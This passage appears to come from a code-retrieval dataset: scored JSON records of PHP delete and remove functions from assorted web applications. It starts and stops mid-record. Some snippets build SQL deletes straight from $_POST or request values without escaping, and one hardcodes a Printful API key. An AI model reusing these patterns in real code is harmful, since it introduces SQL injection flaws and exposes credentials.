mgt_requisicao_produto_numero_requisicao = '\" . trim($this->produto_remover_numero_pedido->Value) . \"' \";\r\n\r\n GetConexaoPrincipal()->SQL_Comunitario->Close();\r\n GetConexaoPrincipal()->SQL_Comunitario->SQL = $Comando_SQL;\r\n GetConexaoPrincipal()->SQL_Comunitario->Open();\r\n GetConexaoPrincipal()->SQL_Comunitario->Close();\r\n\r\n $this->confirmacao->Top = 1087;\r\n $this->confirmacao->IsVisible = false;\r\n\r\n //*** Totaliza o Pedido ***\r\n\r\n $this->totaliza_pedido();\r\n }", "title": "" }, { "docid": "2ab3d57b920fbccbb80f55504603df95", "score": "0.5503601", "text": "public function deleteById($pricelistId);", "title": "" }, { "docid": "cbb2585eb14f5200eb2433ae9e613360", "score": "0.5494986", "text": "public function deleteArt()\n\t{\t\n\t\t$delete = new BasketModel;\n\t\t$user = $this->getUser();\n\t\t$json = [];\n\n\t\tif(!empty($_POST)){\n\n\t\t\tif(is_numeric($_POST['id_delete'])){\n\n\t\t\t\tif($delete->deleteItem($user['id'], $_POST['id_delete'])){\n\t\t\t\t\t$json = ['code' => 'ok'];\n\t\t\t\t}\t\t\t\n\t\t\t}\n\t\t}\n\t\t$this->showJson($json);\n\t}", "title": "" }, { "docid": "b502dd52311f3d0c561287a06d2850f0", "score": "0.5442831", "text": "function delete()\n\t{\n\t}", "title": "" }, { "docid": "c2edf202a2a2766d08d9b156e6641ef8", "score": "0.5439604", "text": "public function delete_offer(){ //pr($_POST);die;\n\t\t$this->layout = 'ajax';\n\n\t\t$this->BusinessOffer->recursive = -1;\n\t\t$offerArr = $this->BusinessOffer->findById($_POST['id']);\n\t\tif(!empty($offerArr)){\n\t\t\t//delete the image\n\t\t\tif($offerArr['BusinessOffer']['image'] != ''){\n\t\t\t\t$imagePath = '../webroot/img/front_end/business/offers/'.$offerArr['BusinessOffer']['image'];\n\t\t\t\tif(is_file($imagePath))\n\t\t\t\t\tunlink($imagePath);\n\t\t\t}\n\n\t\t\t//delete the record\n\t\t\tif($this->BusinessOffer->delete($_POST['id']))\n\t\t\t\techo 'deleted';\n\t\t\telse\n\t\t\t\techo '';\n\t\t}else\n\t\t\techo '';\n\t\texit;\n\t}", "title": "" }, { "docid": "84c0a9a6e4b28d56b11d43f317dbe2f4", "score": "0.5419344", "text": "public function deleteAction() {\n parent::deleteAction();\n }", "title": "" }, { "docid": "374dddb44ea94028ebc647adf28c5848", "score": "0.5401514", "text": "public function manager_delete($id) {\n $this->autoRender = false;\n \n /*\n * only if requested data is POST\n */\n if ($this->request->is('post')) {\n \n $id = intval($id);\n $this->CatalogProduct->delete($id,false);\n \n $this->Session->setFlash(__('Product telah dihapus'),'default',array(),'success');\n $this->redirect($this->referer());\n \n }\n \n }", "title": "" }, { "docid": "7a03d25f3e1f9ce4dabcbcc5f4f62593", "score": "0.5386314", "text": "public function deleteArticleAction()\n {\n if ($this->Request()->getParam('sDelete')) {\n $this->basket->sDeleteArticle($this->Request()->getParam('sDelete'));\n }\n $this->redirect(['action' => $this->Request()->getParam('sTargetAction', 'index')]);\n }", "title": "" }, { "docid": "54e521a9b61e3c51ce3c23b7eece3458", "score": "0.53830177", "text": "public function delete(){\n\t\t/// Called the functon Delete in the Model to the specified id\n\t\t$i = new Item(parameters()[\"id\"]);\n\t\t$i->deleteWithID();\n\t\t$_POST[\"info\"] = \"Item deleted with succes !\";\n\t\t$this->render(\"index\", Item::findAll());\n\t}", "title": "" }, { "docid": "c458ec2bb95c4a3a77dbc411f2b2c8fb", "score": "0.53682697", "text": "private function _setDelete($value) {\n\t\tif(!$value) {\n\t\t\t$this->delete = false;\n\t\t\t$this->deleteButton = false;\n\t\t}\n\n\t\t// Otherwise, setup the button\n\t\telse {\n\t\t\tif(is_bool($value)) {\n\t\t\t\t$this->delete = \"Delete\";\n\t\t\t\t$this->deleteButton = Jackal::make(\"UI:Button/Delete\");\n\t\t\t}\n\t\t\t\n\t\t\t// If an array of options was passed, then create a button with those options\n\t\t\telseif(is_array($value)) {\n\t\t\t\t// Add the green class to the attributes array\n\t\t\t\t$value += array(\"color\" => \"red\", \"class\" => \"delete-button\");\n\t\t\t\t// Create the button with the attributes array\n\t\t\t\t$this->_deleteButton = Jackal::make(\"UI:Button\", $value);\n\t\t\t\t// Get the title of the save button\n\t\t\t\t$this->_save = $this->_deleteButton->title;\n\t\t\t}\n\t\t\t\n\t\t\telseif(is_object($value)) {\n\t\t\t\t$this->deleteButton = $value;\n\t\t\t\t$this->delete = $this->_deleteButton->title;\n\t\t\t}\n\n\t\t\telse {\n\t\t\t\t$this->delete = $value;\n\t\t\t\t$this->deleteButton = Jackal::make(\"UI:Button?color=red&class=delete-button\", $this->delete);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "bfc2ac14898ab420972b2bda87d0e8d1", "score": "0.5361984", "text": "public function registerBasketDelete()\n {\n if(!$this->config->cartTracking)\n {\n return;\n }\n\n $viewAssign = $this->view->getAssign();\n\n $sDelete = $this->request->getParam('sDelete');\n if($sDelete)\n {\n $sql= \"SELECT articleID, quantity, articlename, ordernumber, price FROM s_order_basket WHERE id = ?\";\n $product = Shopware()->Db()->fetchRow($sql, array($sDelete));\n if($product)\n {\n $categories = $this->getProductCategories($product['articleID']);\n\n $this->registerEvent('basket_remove', array(\"product\" => array(\n \"id\" => $product['articleID'],\n \"name\" => $product['articlename'],\n \"sku\" => $product['ordernumber'],\n \"price\" => $product['price'],\n \"category\" => $categories,\n \"quantity\" => $product['quantity']\n )));\n }\n }\n }", "title": "" }, { "docid": "7bff945727991e6df2c8e3ff06ca2619", "score": "0.5344256", "text": "function del() {\n \n }", "title": "" }, { "docid": "b60216422c2ba252c7eba324d3c0c7a3", "score": "0.5336932", "text": "protected function addDeleteButton($button, $translator)\n {\n if (!$this->getCurrentTreeNode()->isRootNode() &&\n $this->canEditTreeNode($this->getCurrentTreeNode()->getParentNode()))\n {\n $button->addSubButton(\n new SubButton(\n $translator->getTranslation('DeleterComponent', null, Manager::context()),\n new FontAwesomeGlyph('times'),\n $this->get_url(\n array(\n self::PARAM_ACTION => self::ACTION_DELETE_COMPLEX_CONTENT_OBJECT_ITEM,\n self::PARAM_CHILD_ID => $this->getCurrentTreeNodeDataId()\n )\n ),\n SubButton::DISPLAY_ICON_AND_LABEL,\n true\n )\n );\n }\n }", "title": "" }, { "docid": "bd13cf39ff89f0c5886bf1580788a50f", "score": "0.5333198", "text": "function delete()\n\t{\n\t\t// Check for request forgeries\n\t\t//JRequest::checkToken() or jexit(JText::_('JInvalid_Token'));\n\n\t\t$model = $this->getModel('template');\n\t\t$client\t\t= &$model->getClient();\n\t\t$template\t= &$model->getTemplate();\n\t\t$id\t= &$model->getId();\n\n\n\t\tif (!$template) {\n\t\t\t$this->setRedirect('index.php?option=com_templates&client='.$client->id, JText::_('Operation Failed').': '.JText::_('No template specified.'));\n\t\t\treturn;\n\t\t}\n\n\t\tif ($model->delete()) {\n\t\t\t$msg = JText::_('Template Saved');\n\t\t} else {\n\t\t\t$msg = JText::_('Error Saving Template') . $model->getError();\n\t\t}\n\t\t$this->setRedirect('index.php?option=com_templates&task=edit&template='.$template.'&client='.$client->id, $msg);\n\t}", "title": "" }, { "docid": "e9270ba0692c97bfe0f059639e2d3b27", "score": "0.53275055", "text": "function deletePage() {\n\t\n}", "title": "" }, { "docid": "2e58e2be49398f4277a02eb4fdcda1f3", "score": "0.53131187", "text": "public function deleteAction()\n\t{\n\n\t}", "title": "" }, { "docid": "ece3b826ab208144f1b9944c2ae8fed0", "score": "0.53047085", "text": "function DELETE() {\r\n \r\n }", "title": "" }, { "docid": "a0ed81b740254ac00c1c32ec0f663474", "score": "0.5289649", "text": "public function getButtonData()\n {\n $data = [];\n $articleId = $this->getArticleId();\n if ($this->getArticleId()) {\n $data = [\n 'label' => __('Delete Article'),\n 'class' => 'delete',\n 'on_click' => sprintf(\n \"deleteConfirm('%s', '%s')\",\n __('Are you sure you want to do this?'),\n $this->context->getUrlBuilder()->getUrl('*/*/delete', ['article_id' => $articleId])\n ),\n 'sort_order' => 20,\n ];\n }\n\n return $data;\n }", "title": "" }, { "docid": "6a3b37ab2e298574c90a445dde5274c6", "score": "0.5286498", "text": "public function delete($id){\n mysqli_query($this->koneksi,\"delete from artikel where id='$id'\");\n}", "title": "" }, { "docid": "6521a27fd4496f691ddaed95b7a48b0c", "score": "0.52831805", "text": "public function deletepricecategory($id)\n {\n $this->delete_price_once($id);\n $this->session->set_flashdata(\"mess\", \"Xóa thành công!\");\n redirect($_SERVER['HTTP_REFERER']);\n }", "title": "" }, { "docid": "3fb5d2c9c749095ef2f9522afcd4f075", "score": "0.52831054", "text": "private function cartButtons()\n {\n if(isset($_POST['add_ticket']))\n $this->checkTicket();\n else if(isset($_POST['delete_single']))\n $this->deleteSingleTicket();\n else if(isset($_POST['delete_tickets']))\n $this->deleteAllTickets();\n }", "title": "" }, { "docid": "76c547dd269805acdc9a5b1ef71dc96a", "score": "0.52825034", "text": "function icopyright_widget_delete_article() {\n\twp_clear_scheduled_hook( 'icopy_update_widget_articles' );\t\n\t\n\tglobal $wp_registered_widgets;\n\t$icopy_widget = $wp_registered_widgets[sanitize_text_field($_POST[\"widgetId\"])][\"callback\"][0];\n\t$widget_number = $wp_registered_widgets[sanitize_text_field($_POST[\"widgetId\"])][\"params\"][0]['number'];\n\t\n\t$instances = $icopy_widget->get_settings();\n\tif ( array_key_exists( $widget_number, $instances ) ) {\n\t\t$arr = is_array($instances[$widget_number]['exclude_articles']) ? $instances[$widget_number]['exclude_articles'] : array();\n\t\t\n\t\t$articleId = sanitize_text_field($_POST[\"articleId\"]);\n\t\t$articleId = intval($articleId);\n\t\t\n\t\tif ($articleId) {\n\t\t\t$arr[$articleId] = time();\n\t\t\n\t\t\t$instances[$widget_number]['exclude_articles'] = $arr;\n\t\t\t$icopy_widget->save_settings($instances);\n\t\t}\t\t\n\t\t\n\t}\n\n\ticopy_update_widget_articles($widget_number, $instances[$widget_number], $icopy_widget);\n\t\t\n\texit();\n}", "title": "" }, { "docid": "8f40127cb6a6658500574408cba6c513", "score": "0.52813464", "text": "public function Delete_sorting_price() {\r\n\t\t\t$this -> load -> model('administrator/sorting_price_model');\r\n\t\t\t$id = $this -> input -> post('id');\r\n\t\t\t$result = $this -> sorting_price_model -> Category_delete($id);\r\n\t\t\t\r\n\t\t\t$result ? $a = '1' : $a = '0';\r\n\t\t\techo json_encode($a);\r\n\t\t}", "title": "" }, { "docid": "8e824652eb501be0e66d1dfe65d14ede", "score": "0.52720296", "text": "public function deleteProduct(){\n\t\t$this->call('$Core.hideLoadding();');\n\t\t$iProductId = $this->get('product_id');\n\t\tif(Phpfox::getService('manager.order.process')->deleteProduct($iProductId)){\n\t\t\t$this->call('$(\".product_'.$iProductId.'\").remove();');\n\t\t}else{\n\t\t\treturn Phpfox_Error::set('Xóa sản phẩm đơn hàng không thành công!');\n\t\t}\n\t}", "title": "" }, { "docid": "2723a526de641f4dc6848bcd528fd718", "score": "0.5270043", "text": "public function deleteAction() {\n\t\t// TODO: Implement deleteAction() method.\n\t}", "title": "" }, { "docid": "2723a526de641f4dc6848bcd528fd718", "score": "0.5270043", "text": "public function deleteAction() {\n\t\t// TODO: Implement deleteAction() method.\n\t}", "title": "" }, { "docid": "777d6b385d399125b81a68bde3684f3b", "score": "0.5269205", "text": "public function deleteAction()\n {\n }", "title": "" }, { "docid": "9954091ad1c7eebce49376c2dfddab1b", "score": "0.5266751", "text": "public function deleteStock()\n {\n }", "title": "" }, { "docid": "1cbb374a75785634906243bb34977175", "score": "0.52611804", "text": "public function delete(){\n Table::destroy($this->modelId);\n $this->modalConfirmDeleteVisible = false;\n $this->resetPage();\n }", "title": "" }, { "docid": "7bd13c2c4f42e77527cc3b8f0ec6e8bf", "score": "0.5259061", "text": "public function deleteItem()\n\t{\t\n\t\t$id=Input::get('id');\n\t\tBudget::find($id)->delete();\n\t\t\n\t}", "title": "" }, { "docid": "6f077a0601b1c508699c4d0fb04587b4", "score": "0.5255307", "text": "public function delete ()\n\t{\n\t\t$this->cms->connection->query(\"DELETE FROM \" . TAB_CNT_PLINK . \" WHERE itemid = \" . intval($this->id));\n\t}", "title": "" }, { "docid": "4b86d6d3472f2f14d33a4b4ef7d3b8f3", "score": "0.525019", "text": "public function destroy(CardPrice $cardPrice)\n {\n //\n }", "title": "" }, { "docid": "a9e80417f80791d12e69477b8cc4cc5a", "score": "0.52392465", "text": "private function _deleteTemplate()\n {\n $this->model->deleteTemplate();\n $this->view->display($this->model);\n }", "title": "" }, { "docid": "c2162a31435012a58519065dfdbb1344", "score": "0.52239805", "text": "function my_action_preview()\n{\n $woocommerce = isset($_POST['woocommerce']) ? $_POST['woocommerce'] : 'N/A';\n $printful = isset($_POST['printful']) ? $_POST['printful'] : 'N/A';\n $apiKey = 'qw9ttqt6-z72u-qf80:ejz1-52lb33te3obg';\n $pf = new PrintfulApiClient($apiKey);\n $woocommerce = $_POST['woocommerce'];\n $printful = $_POST['printful'];\n $pf->delete('store/products/@' . $printful);\n wp_delete_post($woocommerce, true);\n wp_die();\n}", "title": "" }, { "docid": "2ca9cfa0b8eba307434a4cd901da9129", "score": "0.522381", "text": "public function deleteAction()\n {\n $post_id = filter_var($this->route_params['isbn'], FILTER_SANITIZE_NUMBER_INT);\n if($post_id)\n {\n $post = Post::getPostByID($post_id);\n if($post)\n {\n $book = Book::getBookByISBN($post->isbn);\n View::renderTemplate('Admin/Posts/delete-confirm.html.twig',\n [\n 'post' => $post,\n 'book' => $book,\n ]);\n }\n else\n {\n Flash::addMessage('Post was not found!', Flash::DANGER);\n $this->redirect('/admin/posts/index');\n }\n }\n }", "title": "" }, { "docid": "ec1d119bbfc664ef59d01eaa230a50d8", "score": "0.52179736", "text": "public function deleteNotAction() {\n\n $this->_helper->layout->setLayout('admin-simple');\n $this->renderScript('admin-manage/delete-not.tpl');\n }", "title": "" }, { "docid": "8cc7e4793d16f751fd0ca7b8095f603d", "score": "0.521593", "text": "public function delete(){\r\n\t\r\n\t\t$unitId = 0;\r\n\t\tif ($this->request->isParameterNotEmpty('actionid')){\r\n\t\t\t$unitId = $this->request->getParameter(\"actionid\");\r\n\t\t}\r\n\t\r\n\t\t// generate view\r\n\t\t$navBar = $this->navBar();\r\n\t\t$this->generateView ( array (\r\n\t\t\t\t'navBar' => $navBar,\r\n\t\t\t\t'entryID' => $unitId\r\n\t\t) );\r\n\t}", "title": "" }, { "docid": "62d2aaf4578ce493d130d03bee7499a2", "score": "0.5215758", "text": "public function deleteButtonClicked($sender,$param)\n\t{\n\t\t// obtains the datagrid item that contains the clicked delete button\n\t\t$item=$param->Item;\n\t\t// obtains the primary key corresponding to the datagrid item\n\t\t$username=$this->UserGrid->DataKeys[$item->ItemIndex];\n\t\t// deletes the user record with the specified username primary key\n\t\tUserRecord::finder()->deleteByPk($username);\n\t}", "title": "" }, { "docid": "3eafb29577f5d4eea32c2c66ab21ce23", "score": "0.5213304", "text": "public function deleteAction() {\n }", "title": "" }, { "docid": "01a4bfe674ad3a639dc8c0c595c2dcbc", "score": "0.5206251", "text": "function itemDelete() {\n $id = $_POST['id'];\n $sql = \"DELETE FROM pricegroups WHERE id = $id\";\n return $sql;\n}", "title": "" }, { "docid": "fa7a233c53b3404fc8c5252d7662edda", "score": "0.5205473", "text": "public function deleteAction(Request $request, Prices $price)\n {\n $form = $this->createDeleteForm($price);\n $form->handleRequest($request);\n\n if ($form->isSubmitted() && $form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->remove($price);\n $em->flush();\n }\n\n return $this->redirectToRoute('prices_index');\n }", "title": "" }, { "docid": "136ab18b99c8afcd2ae237732ed53e4e", "score": "0.51991653", "text": "function displayDeleteSubjectButton($bdd,$id){\n if(isUserAdmin($bdd)){\n echo(\"\n <form action=\\\"index.php ?cible=mainController&function=deleteSubject&subject_id=$id\\\" method=\\\"post\\\">\n <button type=\\\"submit\\\">Supprimer le sujet</button>\n </form>\n \");\n }\n}", "title": "" }, { "docid": "f937cc91b6217f11f829f3239879b873", "score": "0.51892334", "text": "public function delete(array $prices);", "title": "" }, { "docid": "f937cc91b6217f11f829f3239879b873", "score": "0.51892334", "text": "public function delete(array $prices);", "title": "" }, { "docid": "d27af3f0af055fd3ee25e8237d1a1308", "score": "0.5187431", "text": "public function delete()\n\t{\n\t\t$this->alter('delete');\n\t}", "title": "" }, { "docid": "b92cf605a4166db18bed08a9b3b03cf9", "score": "0.5183996", "text": "public function deleteAction() {\n /**\n * Get the Requst Value\n */\n if ($this->getRequest ()->getParam ( 'id' ) > 0) {\n try {\n $id = $this->getRequest ()->getParam ( 'id' );\n \n /**\n * Get Product subscription Colletions\n */\n $collection = Mage::getModel ( 'airhotels/productsubscriptions' )->getCollection ();\n /**\n * Add filetr to subscription Colletions\n */\n $subscripitonCollection = $collection->addFieldToFilter ( 'subscription_type', $id )->addFieldToFilter ( 'is_delete', 0 )->getData ();\n /**\n * Iterating the loop\n */\n \n /**\n * To delete a subscription type record for particular product.\n *\n * @method isSubscriptionDelete\n * @param $productModel (it\n * is a collection)\n * return boolean\n */\n $this->subscriptionProductDelete ( $subscripitonCollection );\n /**\n * Model for subscriptiontype\n */\n $model = Mage::getModel ( 'airhotels/subscriptiontype' );\n $model->setId ( $this->getRequest ()->getParam ( 'id' ) )->delete ();\n /**\n * Add success notification.\n *\n * Redirect to admin page.\n */\n Mage::getSingleton ( 'adminhtml/session' )->addSuccess ( Mage::helper ( 'adminhtml' )->__ ( 'Total of %d record(s) were successfully deleted', count ( 1 ) ) );\n $this->_redirect ( '*/*/' );\n } catch ( Exception $e ) {\n /**\n * Set error message.\n *\n * Redirect to edit page.\n */\n Mage::getSingleton ( 'adminhtml/session' )->addError ( $e->getMessage () );\n $this->_redirect ( '*/*/edit', array (\n 'id' => $this->getRequest ()->getParam ( 'id' ) \n ) );\n }\n }\n $this->_redirect ( '*/*/' );\n }", "title": "" }, { "docid": "b28a73d4b6cd9f2bf3ab3092279683ce", "score": "0.51800644", "text": "public function delete($id_art)\r\n {\r\n $this->_db->exec(\"DELETE FROM article WHERE id_art=\".$id_art);\r\n\r\n }", "title": "" }, { "docid": "ce791cd3b4d30a38880305d830e8bc6f", "score": "0.51764375", "text": "public function action_deleteart()\n\t{\n\t\tif (isset($this)) {\n\t\t\t$deletedArt = Model_Art::find($this->param(\"art\"));\n\t\t\t$deletedArt->delete();\n\t\t}\n\n\t\tResponse::redirect('admin_art');\n\t\t\n\t}", "title": "" }, { "docid": "ce791cd3b4d30a38880305d830e8bc6f", "score": "0.51764375", "text": "public function action_deleteart()\n\t{\n\t\tif (isset($this)) {\n\t\t\t$deletedArt = Model_Art::find($this->param(\"art\"));\n\t\t\t$deletedArt->delete();\n\t\t}\n\n\t\tResponse::redirect('admin_art');\n\t\t\n\t}", "title": "" }, { "docid": "b5eeac180710f36bbf6a24c30075d2ce", "score": "0.51677436", "text": "public function deleteAction()\n {\n }", "title": "" }, { "docid": "8399e7830a544e99ae480373749c0d41", "score": "0.5166746", "text": "public function actionDelete($id)\n {\n $model = $this->findModel($id);\n $modelPrice = $model->price;\n\n $transaction = $model->getDb()->beginTransaction();\n try\n {\n $modelPrice->delete();\n $model->delete();\n $transaction->commit();\n }\n catch(\\Exception $e)\n {\n $transaction->rollBack();\n throw $e;\n }\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "0be9d0e535c09102ff533ef15274cc64", "score": "0.5164522", "text": "public function delete() {\r\n\t\t// update show order\n\t\t$sql = \"UPDATE\twcf\".WCF_N.\"_page_menu_item\r\n\t\t\tSET\tshowOrder = showOrder - 1\r\n\t\t\tWHERE\tshowOrder >= \".$this->showOrder.\"\r\n\t\t\t\tAND menuPosition = '\".escapeString($this->menuPosition).\"'\";\r\n\t\tWCF::getDB()->sendQuery($sql);\r\n\t\t\r\n\t\t// delte\r\n\t\t$sql = \"DELETE FROM\twcf\".WCF_N.\"_page_menu_item\n\t\t\tWHERE\t\tmenuItemID = \".$this->menuItemID;\n\t\tWCF::getDB()->sendQuery($sql);\r\n\t\t\t\r\n\t\t// delete language variables\r\n\t\tLanguageEditor::deleteVariable($this->menuItem);\r\n\t}", "title": "" }, { "docid": "dc057550660878a0c0bf91c4f8d9b9cf", "score": "0.51640326", "text": "public function destroy(Price $price)\n {\n\n $price->delete();\n return redirect()->route('prices.index')->with('success', ['Price eliminado con exito']);\n\n }", "title": "" }, { "docid": "cedf12f08a24e766994dbc569c8a4dee", "score": "0.5149839", "text": "public function delete($id)\n\t{\n\t\tmysqli_query($this->koneksi,\"DELETE FROM artikel WHERE id='$id'\");\n\t}", "title": "" }, { "docid": "476881a9ab40f4b7709ffaada78b927e", "score": "0.5147533", "text": "public function testRenderActionButtonDelete() {\n\n $obj = new TestDataTablesProvider($this->router, $this->translator, $this->buttonTwigExtension);\n\n $res = <<< EOT\n<a class=\"btn btn-danger btn-xs\" title=\"label.delete\" href=\"route\" data-toggle=\"tooltip\" data-placement=\"top\"><i class=\"fa fa-trash\"></i></a>\nEOT;\n $this->assertEquals($res, $obj->renderActionButtonDelete(new Employee(), \"route\"));\n }", "title": "" }, { "docid": "e7260e38eac1fb44dc0d9fd81fca86ea", "score": "0.5141793", "text": "public function delete($evotranspiracion);", "title": "" }, { "docid": "f2c3ba063760479d5ff3276f6466e620", "score": "0.51289874", "text": "public function delete($id)\n {\n mysqli_query($this->koneksi, \"delete from artikel where id='$id'\");\n }", "title": "" }, { "docid": "a1b3b01d972d07570055295ec0a7ffc0", "score": "0.512055", "text": "public function articleDelete($id=0)\n {\n if($id>0){\n $where = array('id' => $id);\n $rep = $this->Common->delete($this->article_table,$where);\n }\n $tmp_article = \"article/\".$id.\".pdf\";\n if(file_exists($tmp_article)){\n unlink($tmp_article);\n }\n redirect('backend/articleAdmin/1');\n }", "title": "" }, { "docid": "e5fbc2aa9c4dd7f290e12cd38f6caf4c", "score": "0.51202106", "text": "function delete_link($parameters, $label) {\n return '<a onclick=\"' . $this->post_to_url_js($parameters) . '\" href=\"#\">' . $label . '</a>'; \n }", "title": "" }, { "docid": "9ea7fcc66d7e57f91e51679a181534e0", "score": "0.5115562", "text": "public function destroy($id)\n {\n\n $Price = Price::findOrFail($id);\n $Price->delete();\n\n return redirect('/admin/price_list')->with('message', 'Price Deleted successfully');\n \n }", "title": "" }, { "docid": "39c0494a4726a63fddbadda599ae84c1", "score": "0.51148736", "text": "private function get_delete_button($val , $idSantri){\n\t\treturn sprintf('<button title=\"Click to delete\" class=\"btn btn-default btn-xs mar-rig-lit\" onclick=\"%3$s(%4$s,\\'%5$s\\',\\'%6$s\\',\\'%7$s\\')\"><b>%1$s</b><br>%2$s</button>',\n\t\t\t $val->kelas_name , $val->session_name , $this->helper->js_func_name_to_del() ,\n\t\t\t $val->id ,\n\t\t\t $val->idkelas ,\n\t\t\t $idSantri\t\t,\n\t\t\t FUNC\\get_escape($val->session_name)\n\t\t);\t\t\n\t}", "title": "" }, { "docid": "b7d6bedbe54ba0b2692712a7da8d9751", "score": "0.51039666", "text": "public function delete($id){\n $this->datas['del_id'] = $id;\n if(isset($_POST['save_delete'])){\n $statement = 'DELETE FROM reservations WHERE id='.$id;\n $this->datas['database']->deleteEntry($statement);\n $this->loadView($this->datas, 'home');\n }\n elseif (isset($_POST['cancel_delete'])) {\n $this->loadView($this->datas, 'home');\n }\n else{\n $this->loadView($this->datas, 'delete');\n }\n }", "title": "" }, { "docid": "02aeac0647f116d3f590c8fc96b78e27", "score": "0.5100662", "text": "function on_sidebox_1_content($data) {\n\t\t?>\n\t\t<label>Really delete the Database Tables?</label>\n <input type=\"checkbox\" name=\"drop\" value=\"drop\" />\n <input class=\"button-primary\" name=\"delete\" value=\"<?php echo htmlentities('Delete') ?>\" type=\"submit\" />\n <br />\n <label><span id=\"pmanager-small-font\" style=\"color:red;\"><?php echo htmlentities('Deleting the Tables cannot be revoked!!') ?></span></label>\n\t\t<?php\n\t}", "title": "" }, { "docid": "21c1c82db873895776c79544cf4396e3", "score": "0.51006216", "text": "public function delete()\n\t{\n\t\tparent::delete();\n\t\t\\IPS\\Member::clearCreateMenu();\n\t\tunset( \\IPS\\Data\\Store::i()->modules );\n\t}", "title": "" }, { "docid": "fe19b610f3fe249036efd830fdf2927a", "score": "0.5100213", "text": "function createNewPriceCB($PA, $fObj) {\n\t\t$content .= '<div id=\"typo3-newRecordLink\">';\n\t\t$content .= '<input type=\"checkbox\" name=\"data[tx_commerce_articles][' .$PA['row']['uid'] .'][create_new_price]\" />';\n\t\t$content .= $GLOBALS['LANG']->sL('LLL:EXT:commerce/locallang_be.php:articles.add_article_price', 1);\n\n\t\t$content .= '</div>';\n\t\treturn $content;\n\t}", "title": "" }, { "docid": "105d739f636e0f17b45469fac5639e1a", "score": "0.50954264", "text": "function wpa_page_add_vehicle() {\n global $wpdb; //access wordpress instance\n\n //reference delete.js\n wp_enqueue_script('delete', plugin_dir_url(__FILE__).'js/'.'delete.js');\n\n\n //format for the data\n $format = array('%s','%d');\n\n //get data on editing and viewing from the url using get method\n $edit = strip_tags(sanitize_text_field( $_GET[\"edit\"] ));\n $view = strip_tags(sanitize_text_field( $_GET[\"view\"] ));\n $deleted = strip_tags(sanitize_text_field( $_GET[\"deleted\"] ));\n\n //if adding (default)\n $title = \"Add\";\n $button = \"Add Vehicle\";\n $disabled = '';\n $cancelOrDone = \"Cancel\";\n\n //if editing\n if ($edit >= 1) {\n $title = \"Edit\";\n $button = \"Edit Vehicle\";\n $ifViewOrEdit = $edit;\n\n //if viewing\n } elseif ($view >= 1) {\n $title = \"View\";\n $button = \"Done\";\n $ifViewOrEdit = $view;\n $disabled = 'disabled';\n\n }\n\n //delete record and redirect\n if ( is_numeric( $deleted ) ) {\n self::delete($deleted);\n }\n\n\n //save/drop service\n if ($view >= 1) {\n\n //get data for saving service\n $id = strip_tags(sanitize_text_field( $_GET[\"view\"] ));\n $service = strip_tags(sanitize_text_field( $_POST[\"service\"] ));\n $last_serviced = strip_tags(sanitize_text_field( $_POST[\"last_serviced\"] ));\n $odometer = strip_tags(sanitize_text_field( $_POST[\"odometer_at_last_serviced\"] ));\n $memo = strip_tags(sanitize_text_field( $_POST[\"memo\"] ));\n\n //drop service\n self::drop();\n\n //save service\n self::save_service($id, $last_serviced, $odometer, $memo, $service);\n }\n\n self::add_edit_vehicle($_POST, $_GET);\n\n $vehicle = $wpdb->get_results('SELECT * FROM '.$wpdb->table_vehicle.' WHERE `id` = '.$ifViewOrEdit)[0];\n $yearValue = ($edit >= 1) ? $vehicle->year : date(\"Y\");\n\n //the form\n\n //this form will be ether in view mode, edit mode, or add mode depending on the url\n\n //title\n echo '<h2>'.$title.' Vehicle</h2>';\n echo '<table class=\"form-table\"><tbody><form action=\"' . esc_url( admin_url( ($edit >= 1 ) ? 'admin.php?page=add-vehicle&edit=' .$vehicle->id : 'admin.php?page=add-vehicle' ) ) . '\" method=\"POST\">';\n\n\n //action\n echo '<tr><th scope=\"row\">Action</th>';\n echo '<td> <fieldset><legend class=\"screen-reader-text\"><span>Action</span></legend><label for=\"submitted\">';\n if ($view >= 1) {\n echo '<a href=\"' . esc_url( admin_url('admin.php?page=vehicle-lookup-dashboard') ) . ' \">'. $button . '</a>';\n } else {\n echo '<input type=\"submit\" style=\"background-color:#36D696; color:#ffffff;\" id=\"submitted\" name=\"submitted\" value=\"'.$button.'\"/>';\n echo '<a style=\"padding-left: 50px;\" href=\"' . esc_url( admin_url('admin.php?page=vehicle-lookup-dashboard') ) . ' \">'.$cancelOrDone.'</a>';\n }\n echo '</fieldset></td></tr>';\n\n\n //vin\n echo '<tr><th scope=\"row\">VIN</th>';\n echo '<td> <fieldset><legend class=\"screen-reader-text\"><span>VIN </span></legend><label for=\"vin\">';\n echo ($view >= 1) ? $vehicle->vin : '<input name=\"vin\" type=\"text\" id=\"vin\" value=\"'.$vehicle->vin.'\"> <b style=\"color:darkred\">*</b></label>';\n echo '</fieldset></td></tr>';\n\n //year\n echo '<tr><th scope=\"row\">Year</th>';\n echo '<td> <fieldset><legend class=\"screen-reader-text\"><span>Year </span></legend><label for=\"year\">';\n echo ($view >= 1) ? $vehicle->year : '<input name=\"year\" type=\"number\" id=\"year\" value=\"'. $yearValue .'\" min=\"1953\" max=\"2039\" required=\"\"> <b style=\"color:darkred\">*</b></label>';\n echo '</fieldset></td></tr>';\n\n //make\n echo '<tr><th scope=\"row\">Make</th>';\n echo '<td> <fieldset><legend class=\"screen-reader-text\"><span>Make </span></legend><label for=\"make\">';\n echo ($view >= 1) ? $vehicle->make : '<input name=\"make\" type=\"text\" id=\"make\" value=\"'.$vehicle->make.'\" required=\"\"> <b style=\"color:darkred\">*</b></label>';\n echo '</fieldset></td></tr>';\n\n //model\n echo '<tr><th scope=\"row\">Model</th>';\n echo '<td> <fieldset><legend class=\"screen-reader-text\"><span>Model </span></legend><label for=\"model\">';\n echo ($view >= 1) ? $vehicle->model : '<input name=\"model\" type=\"text\" id=\"model\" value=\"'.$vehicle->model.'\" required=\"\"> <b style=\"color:darkred\">*</b></label>';\n echo '</fieldset></td></tr>';\n\n //Color\n echo '<tr><th scope=\"row\">Color</th>';\n echo '<td><fieldset><legend class=\"screen-reader-text\"><span>Color </span></legend><label for=\"color\">';\n echo '<input name=\"color\" type=\"color\" id=\"color\" value=\"'.$vehicle->color.'\" '.$disabled.' >';\n echo '</fieldset></td></tr>';\n\n //delete record only in view mode\n if ($view >= 1) {\n echo '<tr><th scope=\"row\">Delete Record</th>';\n echo '<td> <fieldset><legend class=\"screen-reader-text\"><span>Delete Record</span></legend><label for=\"delete\">';\n\n echo '\n <div id=\"deleteButton\">\n <a style=\"color: darkred;\" 